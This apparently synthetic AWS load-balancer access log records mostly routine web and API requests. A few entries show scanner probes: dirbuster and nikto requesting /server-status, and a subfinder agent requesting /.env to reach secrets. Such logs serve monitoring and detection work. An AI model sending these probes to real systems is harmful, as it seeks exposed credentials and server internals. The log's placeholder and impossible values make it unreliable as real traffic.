staging-alb 193.27.228.126:62637 149.193.128.251:443 0.010813 0.506997 0.127605 500 500 187 3218 "POST /server-status HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d77d-ca2b2560fce5498a87346b6c" "-" "-" 2 2024-11-01T02:16:13.763138Z "forward" "-" "-" "149.193.128.251:443" "500" "-" "-" -https 2024-11-01T02:16:14.759544Z prod-web-alb 78.118.8.251:46972 10.0.194.112:443 0.052373 0.263670 0.057260 200 200 932 1094 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d77e-b50aef89d10a492f819f2d69" "prod-web-alb.example.com" "-" 3 2024-11-01T02:16:14.759544Z "forward" "-" "-" "10.0.194.112:443" "200" "-" "-" -https 2024-11-01T02:16:16.067748Z staging-alb 21.43.223.225:64668 154.254.217.31:443 0.000089 0.433943 0.108385 302 302 639 8450 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d780-789c17589d764435baa0f6d8" "staging-alb.example.com" "-" 1 2024-11-01T02:16:16.067748Z "forward" "-" "-" "154.254.217.31:443" "302" "-" "-" -https 2024-11-01T02:16:17.753451Z prod-web-alb 87.149.103.136:40949 10.0.92.66:443 0.077665 0.216263 0.076159 200 200 596 6422 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d781-2b2a0280c11e4b89b014a21b" "prod-web-alb.example.com" "-" 4 2024-11-01T02:16:17.753451Z "forward" "-" "-" "10.0.92.66:443" "200" "-" "-" -https 2024-11-01T02:16:19.363027Z prod-api-alb 127.231.119.132:61930 10.0.169.132:443 0.079870 0.425902 0.018715 200 200 622 14109 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d783-a4421147667a4cdd98fb8e66" "prod-api-alb.example.com" "-" 0 2024-11-01T02:16:19.363027Z "forward" "-" "-" "10.0.169.132:443" "200" "-" "-" -https 2024-11-01T02:16:19.526887Z prod-web-alb 62.177.158.10:21204 10.0.118.205:443 0.092577 0.253017 0.076184 200 200 564 4428 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d783-0c55b3a9cfcd45b1be9468d1" "prod-web-alb.example.com" "-" 3 2024-11-01T02:16:19.526887Z "forward" "-" "-" "10.0.118.205:443" "200" "-" "-" -https 2024-11-01T02:16:19.826872Z prod-api-alb 44.13.35.89:43178 10.0.92.230:443 0.093473 0.202467 0.052037 301 301 378 3183 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d783-a644e1967b154feba7c0fc44" "prod-api-alb.example.com" "-" 3 2024-11-01T02:16:19.826872Z "forward" "-" "-" "10.0.92.230:443" "301" "-" "-" -https 2024-11-01T02:16:21.729253Z prod-web-alb 218.19.120.225:24035 10.0.20.190:443 0.038396 0.358263 0.095959 200 200 209 14699 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d785-ae0939061cae4413b7fcdca1" "prod-web-alb.example.com" "-" 9 2024-11-01T02:16:21.729253Z "forward" "-" "-" "10.0.20.190:443" "200" "-" "-" -http 2024-11-01T02:16:23.532233Z staging-alb 86.116.234.184:22081 127.69.113.243:80 0.070869 0.120083 0.105777 200 200 402 10894 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d787-d38aadd4147c471da40bb148" "staging-alb.example.com" "-" 0 2024-11-01T02:16:23.532233Z "forward" "-" "-" "127.69.113.243:80" "200" "-" "-" -https 2024-11-01T02:16:23.659440Z prod-api-alb 159.173.218.87:26624 10.0.65.246:443 0.032612 0.281500 0.079303 200 200 108 14016 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d787-0f00a6a74ee643989940ef8f" "prod-api-alb.example.com" "-" 0 2024-11-01T02:16:23.659440Z "forward" "-" "-" "10.0.65.246:443" "200" "-" "-" -https 2024-11-01T02:16:23.869356Z prod-web-alb 168.135.237.125:10627 10.0.50.7:443 0.052874 0.424238 0.067430 200 200 747 2472 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d787-8e50774e74c440fab19297d4" "prod-web-alb.example.com" "-" 1 2024-11-01T02:16:23.869356Z "forward" "-" "-" "10.0.50.7:443" "200" "-" "-" -https 2024-11-01T02:16:24.758977Z prod-api-alb 161.129.165.150:45737 10.0.157.218:443 0.084082 0.499040 0.064828 404 404 329 1422 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d788-f7d969e21fcf4010a5455a01" "prod-api-alb.example.com" "-" 0 2024-11-01T02:16:24.758977Z "forward" "-" "-" "10.0.157.218:443" "404" "-" "-" -https 2024-11-01T02:16:25.531705Z prod-api-alb 45.155.205.44:43819 10.0.208.185:443 0.042833 0.164508 0.062092 403 403 979 1070 "GET /server-status HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d789-932016cde45a4c0aa04ee47c" "-" "-" 7 2024-11-01T02:16:25.531705Z "forward" "-" "-" "10.0.208.185:443" "403" "-" "-" -https 2024-11-01T02:16:26.445170Z staging-alb 28.159.186.208:16419 63.163.110.93:80 0.000022 0.457449 0.103326 404 404 903 11998 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d78a-bc182c9ddf6d4d928869c6a6" "staging-alb.example.com" "-" 3 2024-11-01T02:16:26.445170Z "forward" "-" "-" "63.163.110.93:80" "404" "-" "-" -https 2024-11-01T02:16:27.360472Z prod-api-alb 185.181.6.37:64370 10.0.185.113:443 0.027926 0.244992 0.064756 301 301 695 2700 "POST /.env HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d78b-73de235d6faf4cb9a93483a4" "-" "-" 3 2024-11-01T02:16:27.360472Z "forward" "-" "-" "10.0.185.113:443" "301" "-" "-" -https 2024-11-01T02:16:29.112533Z prod-web-alb 3.197.38.163:14253 10.0.31.6:443 0.050326 0.212883 0.071340 200 200 417 13226 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d78d-423ca990a41241da8273f9bf" "prod-web-alb.example.com" "-" 9 2024-11-01T02:16:29.112533Z "forward" "-" "-" "10.0.31.6:443" "200" "-" "-" -https 2024-11-01T02:16:29.706165Z prod-web-alb 202.135.163.184:45565 10.0.26.223:443 0.028391 0.034855 0.037411 200 200 727 9651 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d78d-696886f62cc44821bc44e733" "prod-web-alb.example.com" "-" 5 2024-11-01T02:16:29.706165Z "forward" "-" "-" "10.0.26.223:443" "200" "-" "-" -https 2024-11-01T02:16:30.659400Z prod-api-alb 141.35.232.11:19507 10.0.43.55:443 0.019141 0.097586 0.031840 200 200 618 5269 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d78e-bc443eea16ce4ae9b3849806" "prod-api-alb.example.com" "-" 6 2024-11-01T02:16:30.659400Z "forward" "-" "-" "10.0.43.55:443" "200" "-" "-" -http 2024-11-01T02:16:31.487753Z staging-alb 181.126.230.7:30925 67.113.57.5:80 0.108570 0.291776 0.088798 200 200 921 4732 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d78f-3a7ab097e2054e1ea34c8975" "staging-alb.example.com" "-" 1 2024-11-01T02:16:31.487753Z "forward" "-" "-" "67.113.57.5:80" "200" "-" "-" -https 2024-11-01T02:16:32.950093Z prod-web-alb 149.174.99.253:49333 10.0.21.103:443 0.016390 0.392753 0.034914 200 200 927 1208 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d790-44da1dd52c034e588d79a248" "prod-web-alb.example.com" "-" 9 2024-11-01T02:16:32.950093Z "forward" "-" "-" "10.0.21.103:443" "200" "-" "-" -https 2024-11-01T02:16:33.279815Z staging-alb 151.248.253.225:53120 212.114.202.253:80 0.020461 0.632783 0.054505 301 301 842 8778 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d791-a78ca7c4eead4bdfa946a5ab" "staging-alb.example.com" "-" 3 2024-11-01T02:16:33.279815Z "forward" "-" "-" "212.114.202.253:80" "301" "-" "-" -http 2024-11-01T02:16:35.119364Z staging-alb 113.44.136.143:51319 102.26.108.144:80 0.067357 0.604369 0.082730 302 302 556 5584 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d793-c468b165a5f546fe802926b6" "staging-alb.example.com" "-" 8 2024-11-01T02:16:35.119364Z "forward" "-" "-" "102.26.108.144:80" "302" "-" "-" -https 2024-11-01T02:16:35.917605Z prod-web-alb 14.121.0.179:42471 10.0.15.200:443 0.017337 0.415114 0.082596 302 302 860 12028 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d793-8b35f1c6dd544785acf5ea44" "prod-web-alb.example.com" "-" 6 2024-11-01T02:16:35.917605Z "forward" "-" "-" "10.0.15.200:443" "302" "-" "-" -http 2024-11-01T02:16:37.285904Z staging-alb 247.102.30.40:41873 32.205.27.151:80 0.062991 0.473173 0.074812 302 302 366 13316 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d795-ca9c1d82d3d64f6298625a37" "staging-alb.example.com" "-" 4 2024-11-01T02:16:37.285904Z "forward" "-" "-" "32.205.27.151:80" "302" "-" "-" -https 2024-11-01T02:16:37.992633Z prod-web-alb 169.197.37.212:56198 10.0.167.31:443 0.035882 0.227435 0.087363 301 301 205 13135 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d795-411c43356726408b99f042b0" "prod-web-alb.example.com" "-" 10 2024-11-01T02:16:37.992633Z "forward" "-" "-" "10.0.167.31:443" "301" "-" "-" -https 2024-11-01T02:16:39.157055Z staging-alb 218.14.211.229:18788 76.129.207.20:80 0.145406 0.600879 0.090694 200 200 708 14174 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d797-9032c314fb5f49ba97a04991" "staging-alb.example.com" "-" 1 2024-11-01T02:16:39.157055Z "forward" "-" "-" "76.129.207.20:80" "200" "-" "-" -https 2024-11-01T02:16:40.792023Z prod-api-alb 175.55.166.132:16091 10.0.101.226:443 0.048943 0.401342 0.067527 200 200 4 883 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d798-5eea536ec56942588cc93c2d" "prod-api-alb.example.com" "-" 0 2024-11-01T02:16:40.792023Z "forward" "-" "-" "10.0.101.226:443" "200" "-" "-" -https 2024-11-01T02:16:42.101196Z prod-api-alb 89.153.54.241:59962 10.0.122.49:443 0.023108 0.476995 0.082490 200 200 433 7274 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d79a-ae70dadfb633418bb7eb1b98" "prod-api-alb.example.com" "-" 2 2024-11-01T02:16:42.101196Z "forward" "-" "-" "10.0.122.49:443" "200" "-" "-" -http 2024-11-01T02:16:42.426812Z staging-alb 11.188.154.201:29556 251.169.46.185:80 0.143114 0.638634 0.080501 301 301 113 6466 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d79a-92271d48778e4fb3a52608d0" "staging-alb.example.com" "-" 9 2024-11-01T02:16:42.426812Z "forward" "-" "-" "251.169.46.185:80" "301" "-" "-" -https 2024-11-01T02:16:43.186497Z prod-api-alb 62.158.41.24:20795 10.0.19.144:443 0.081910 0.086064 0.044123 404 404 706 4234 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d79b-17874fd249eb46e3b77b2408" "prod-api-alb.example.com" "-" 0 2024-11-01T02:16:43.186497Z "forward" "-" "-" "10.0.19.144:443" "404" "-" "-" -https 2024-11-01T02:16:43.738128Z prod-api-alb 233.50.46.5:33570 10.0.176.41:443 0.099541 0.113632 0.062007 200 200 181 5843 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d79b-e02b97f855824a018a78343e" "prod-api-alb.example.com" "-" 9 2024-11-01T02:16:43.738128Z "forward" "-" "-" "10.0.176.41:443" "200" "-" "-" -https 2024-11-01T02:16:45.060345Z prod-api-alb 85.45.74.187:45823 10.0.94.113:443 0.001464 0.335855 0.050130 200 200 343 10850 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d79d-d2dc3c51051d4ca0b112c449" "prod-api-alb.example.com" "-" 3 2024-11-01T02:16:45.060345Z "forward" "-" "-" "10.0.94.113:443" "200" "-" "-" -https 2024-11-01T02:16:46.776686Z prod-web-alb 233.242.178.86:57095 10.0.179.87:443 0.013956 0.320142 0.096746 301 301 104 2815 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d79e-dda0158d7e3b472eb878563f" "prod-web-alb.example.com" "-" 9 2024-11-01T02:16:46.776686Z "forward" "-" "-" "10.0.179.87:443" "301" "-" "-" -https 2024-11-01T02:16:48.262231Z prod-web-alb 101.205.184.209:15960 10.0.122.56:443 0.013712 0.345153 0.097939 200 200 718 4637 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7a0-e50351c9eb084da2ac75068c" "prod-web-alb.example.com" "-" 0 2024-11-01T02:16:48.262231Z "forward" "-" "-" "10.0.122.56:443" "200" "-" "-" -https 2024-11-01T02:16:48.672379Z prod-api-alb 45.56.165.96:62463 10.0.14.200:443 0.030103 0.408336 0.040295 200 200 30 8427 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7a0-9dbd17fdb1f8427dbafd773f" "prod-api-alb.example.com" "-" 10 2024-11-01T02:16:48.672379Z "forward" "-" "-" "10.0.14.200:443" "200" "-" "-" -https 2024-11-01T02:16:49.074188Z prod-api-alb 224.253.106.115:64278 10.0.210.167:443 0.004195 0.211532 0.054760 200 200 106 11973 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7a1-fae0f8cf972f4fe4a70ab8dd" "prod-api-alb.example.com" "-" 5 2024-11-01T02:16:49.074188Z "forward" "-" "-" "10.0.210.167:443" "200" "-" "-" -https 2024-11-01T02:16:49.197411Z prod-web-alb 201.122.143.130:18471 10.0.51.189:443 0.014694 0.014310 0.098551 200 200 407 4544 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7a1-2ded38f8afe14e3f9706eb70" "prod-web-alb.example.com" "-" 3 2024-11-01T02:16:49.197411Z "forward" "-" "-" "10.0.51.189:443" "200" "-" "-" -https 2024-11-01T02:16:50.701567Z prod-web-alb 41.117.204.251:37442 10.0.180.231:443 0.001528 0.422636 0.075825 404 404 966 10635 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7a2-4aaf97847a534eb681378c0a" "prod-web-alb.example.com" "-" 5 2024-11-01T02:16:50.701567Z "forward" "-" "-" "10.0.180.231:443" "404" "-" "-" -https 2024-11-01T02:16:51.995281Z prod-web-alb 119.50.15.100:14787 10.0.85.238:443 0.017584 0.069332 0.062089 404 404 388 9614 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d7a3-a62127b8466941fcab11625f" "prod-web-alb.example.com" "-" 4 2024-11-01T02:16:51.995281Z "forward" "-" "-" "10.0.85.238:443" "404" "-" "-" -https 2024-11-01T02:16:52.113514Z prod-api-alb 98.239.187.14:58796 10.0.164.77:443 0.083371 0.289344 0.090190 302 302 694 4990 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7a4-4bfbfc12890c4ff98e7b3b7e" "prod-api-alb.example.com" "-" 3 2024-11-01T02:16:52.113514Z "forward" "-" "-" "10.0.164.77:443" "302" "-" "-" -https 2024-11-01T02:16:53.661199Z prod-api-alb 189.14.105.123:60436 10.0.239.4:443 0.020355 0.438143 0.050682 301 301 715 14748 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7a5-cf5daec087054a00a9d98f57" "prod-api-alb.example.com" "-" 1 2024-11-01T02:16:53.661199Z "forward" "-" "-" "10.0.239.4:443" "301" "-" "-" -https 2024-11-01T02:16:55.476231Z prod-api-alb 31.122.56.24:40258 10.0.24.128:443 0.021677 0.000849 0.055643 200 200 152 4162 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7a7-8a19c684864f4fc88995f961" "prod-api-alb.example.com" "-" 5 2024-11-01T02:16:55.476231Z "forward" "-" "-" "10.0.24.128:443" "200" "-" "-" -https 2024-11-01T02:16:56.527477Z prod-web-alb 152.119.131.31:12241 10.0.59.172:443 0.097502 0.042913 0.012920 200 200 127 10565 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7a8-bea4fc00f6aa4c7d8e2e988a" "prod-web-alb.example.com" "-" 8 2024-11-01T02:16:56.527477Z "forward" "-" "-" "10.0.59.172:443" "200" "-" "-" -https 2024-11-01T02:16:57.694859Z prod-api-alb 188.178.243.141:62595 10.0.176.47:443 0.063142 0.235987 0.003304 200 200 704 2892 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7a9-cae411e27c4a4a3e801a90e8" "prod-api-alb.example.com" "-" 2 2024-11-01T02:16:57.694859Z "forward" "-" "-" "10.0.176.47:443" "200" "-" "-" -https 2024-11-01T02:16:59.117899Z prod-web-alb 175.187.94.220:18183 10.0.131.158:443 0.005155 0.036647 0.059757 200 200 96 738 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7ab-1fd3677ae1d642548d18637f" "prod-web-alb.example.com" "-" 2 2024-11-01T02:16:59.117899Z "forward" "-" "-" "10.0.131.158:443" "200" "-" "-" -https 2024-11-01T02:16:59.263655Z prod-web-alb 173.118.155.145:53262 10.0.65.243:443 0.079954 0.414623 0.018351 200 200 435 5160 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d7ab-a76b5191dc2a45549ba956ca" "prod-web-alb.example.com" "-" 5 2024-11-01T02:16:59.263655Z "forward" "-" "-" "10.0.65.243:443" "200" "-" "-" -http 2024-11-01T02:17:01.066219Z staging-alb 5.218.58.118:51863 180.1.250.33:80 0.022734 0.059191 0.025463 302 302 76 11813 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7ad-029eadda935244f2ba08250c" "staging-alb.example.com" "-" 0 2024-11-01T02:17:01.066219Z "forward" "-" "-" "180.1.250.33:80" "302" "-" "-" -https 2024-11-01T02:17:02.088879Z prod-web-alb 123.95.170.89:27572 10.0.126.36:443 0.058276 0.073399 0.006257 301 301 649 12717 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7ae-9ed0ced243fa49a1ada8dd81" "prod-web-alb.example.com" "-" 0 2024-11-01T02:17:02.088879Z "forward" "-" "-" "10.0.126.36:443" "301" "-" "-" -https 2024-11-01T02:17:04.052256Z prod-web-alb 113.28.251.110:11125 10.0.93.129:443 0.093172 0.249728 0.056432 200 200 844 14371 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 